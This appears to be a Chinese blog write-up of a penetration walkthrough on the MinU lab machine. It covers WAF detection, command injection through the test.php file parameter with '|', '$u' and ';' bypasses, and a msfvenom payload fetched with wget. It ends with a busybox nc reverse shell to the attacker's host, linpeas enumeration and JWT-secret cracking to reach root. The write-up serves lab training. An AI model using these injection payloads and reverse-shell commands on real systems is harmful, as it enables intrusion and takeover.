【无标题】

MinU靶场渗透笔记

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

2、fscan端口服务枚举

进行fscan端口服务枚举:

 .\fscan64.exe -h 192.168.1.102

只开启80web页面!

二、web信息枚举

1、web页面信息枚举

访问web页面:

http://192.168.1.102/

发现这是apache服务页面!

2、dirb目录爆破

用dirb基于字典对web目录进行爆破:

└─$ dirb http://192.168.1.102                            

发现大批量状态码报403,说明前端是存在安全防护机制的,可能存在WAF或防御脚本

筛选可访问的页面:

dirb http://192.168.1.102/ | grep 200

只有一个index.html返回的是200,访问发现就是刚才的主页,加大爆破力度!

使用dirb扫描的-X参数,提取特定扩展名的目录。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。

扫描下含有.PHP参数文件目录:

dirb http://192.168.1.102/ -X .php
-X .php    枚举.PHP文件

发下存在test.php!

访问test.php目录地址:

http://192.168.1.102/test.php

提示:Read last visitor data 读取上次访问者数据

提示存在信息泄露!

点击提示后弹出:

回显地址:一般情况下?file= 存在文件包含、sql注入。

尝试对URL进行构造:

http://192.168.1.102/test.php?file=../../../../../etc/passwd

报错403,结合前面爆破是大部分回显均为403,猜测是存在WAF,尝试命令注入。

三、绕过waf(多方法)

1、识别waf

WAFw00f是Python脚本,用于检测网络服务器是否处于网络应用的防火墙(WAF ,Web application firewall)保护状态。

WAFW00F进行探测 :

wafw00f http://192.168.1.102/test.php

回显存在WAF,但报错了,在老版本的wafw00f回显Web 应用程序防火墙:modsecurity (OWASP CRS)

ModSecurity waf!

ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙。它可以作为Apache Web服务器的一个模块或单独的应用程序来运行。ModSecurity的目的是为增强Web应用程序的安全性和保护Web应用程序避免遭受来自已知与未知的攻击。

绕过CRS:规则机制

1、可以安装在服务器

2、可以安装某个站目录底下

3、可以安装在PHP文件内

2、Fuzz模糊测试

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。

Wfuzz工具模糊测试:

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.1.102/test.php?file=FUZZ    
file   文件
-c 输出颜色
-z payload

回显信息太多,过滤掉报错重新测试下:

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.1.102/test.php?file=FUZZ  
--hc  过滤隐藏响应码为404,403的返回结果。	

剩下的就都是响应值为200的,此时就可以使用命令测试绕过waf。

3、绕过waf(|)

测试dir可绕过机制:

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403 http://192.168.1.102/test.php?file=FUZZ  | grep dir

回显“|”可绕过

用“|”测试执行命令:

看到 | 绕过waf,可以远程代码执行命令dir

4、绕过waf($u)

$绕过WAF,这种方式只是针对ModSecurity waf, 使用u来绕过waf ,u 然后执行命令, $u被视为空字符串。

首先我们使用msf生成一个shell:

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.53 lport=4455 -f elf > shell
cat shell

用python开启一个http服务:

python -m http.server 80

网页上传shell,并赋权

上传shell木马:
http://192.168.1.103/test.php?file=test; $u wget http://192.168.1.53/shell -o /tmp/shell
查看是否上传成功:
http://192.168.1.103/test.php?file=test; $u ls -la /tmp/shell
权限低,赋权:
http://192.168.1.103/test.php?file=test; $u chmod 777 /tmp/shell

上传并赋权成功!

用nc监听4455端口,执行shell反弹

nc -vlp 4455
http://192.168.1.103/test.php?file=test; $u /tmp/shell

未反弹成功!发现上传的shell字符大于本地生成的,待解决!

5、绕过waf(;)

分号“;” 隔离绕过waf!

以文件形式去读的时候,加;就可以绕过

http://192.168.1.103/test.php?file=last.html;id

http://192.168.1.102/test.php?file=--version

看到了过滤器信息是用cat过滤的, 可以一个文件开头读取信息,然后再绕过,可以用任意文件名 ;可绕过

但是目前的两种绕过方式都只能执行部分命令,如果命令后面需要跟参数,就不行了。

测试下使用二进制绕过,可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!

二进制文件的列表:

https://gtfobins.github.io/

最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf

所以根据二进制绕过waf,就可以反弹shell到本地上。

利用二进制busybox反弹shell:

http://192.168.1.103/test.php?file=test;busybox nc 192.168.1.53 4455 -e sh

搜索发现没有安装python,但是安装了python3,通过python3获取稳定的shell,前提是bash模式

which python3 
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg

或者添加参数 -i 就可以直接获得正常稳定shell!

http://192.168.1.103/test.php?file=dayu;busybox nc 192.168.1.53 6666 -e sh -i

四、内部信息收集

1、linpeas.sh信息枚举

本地用python开启http服务:

python -m http.server 80 

上传linpeas.sh脚本并赋权执行:

wget http://192.168.1.53/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

发现版本信息:

Linux version 4.13.0-39-generic  
Sudo version 1.8.20p2

内核漏洞可用45010.c ,但只能root权限使用gcc

发现新用户:

uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare)

有sudo权限,可以找到bob的密码,用sudo 提权,这里可以通过找寻密码或者是 制作密钥来直接ssh登录。但是这里发现不能创建文件。

2、隐藏文件下载

在 /home/bob/ 目录下找到一个隐藏文件:

来到目录下查看文件信息:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

怀疑是个密匙!

通过python3,将.pw文件下载:

靶机开启http服务:

python3 -m http.server 8089

本地下载并更名

wget http://192.168.1.103:8089/._pw_
mv ._pw_ pw   #.开头的文件是隐藏文件,目录里看不到,所以改下名字

五、提权

1、JWT令牌分析

pw文件怀疑是一个密码base64解码看看

1)base64解码:

2)JWT

将pw内容丢入谷歌,发现这是JWT(JSON Web 令牌),和第一部分验证的JWT一致。

JWT是一个开放的行业标准(RFC 7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公 钥/私钥对来签名,防止被篡改。

也可以在线查看密匙信息:

https://jwt.io/#debugger

JWT 具有这种格式的三个部分:

标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串

  1. header在 JSON 中指定算法和类型。

  1. payload指定令牌的声明,也在 JSON 中。

  1. signature是编码头和有效载荷的数字签名。

接下来我们要去对其密匙进行解密,解密方法有:

  • 可以使用解密工具c-jwt-cracker.git和wt-cracker

2、c-jwt-cracker工具解密

使用解密工具开始破解

下载c-jwt-cracker.git并编译为gcc利用:

proxychains git clone https://github.com/brendan-rius/c-jwt-cracker.git
或者用:https://github.com/lmammino/jwt-cracker

cd jwt-cracker
apt-get install libssl-dev
make   #编译gcc

执行jwtcrack解密:

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

密文是 mlnV1

登录root:

su root
mlnV1

获得root权限用户!

获得flag:root目录下存在flag.txt

cd root 
cat flag.txt

flag{c89031ac1b40954bb9a0589adcb6d174}

六、总结

通过以上的学习,学习到了非常多的技巧,例如 nmap端口信息枚举、Web页面信息枚举、dirb目录爆破、多方法绕过WAF、linpeas.sh信息枚举、JWT令牌分析、c-jwt-cracker工具解密等。

后来,错过也成了人间常态。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值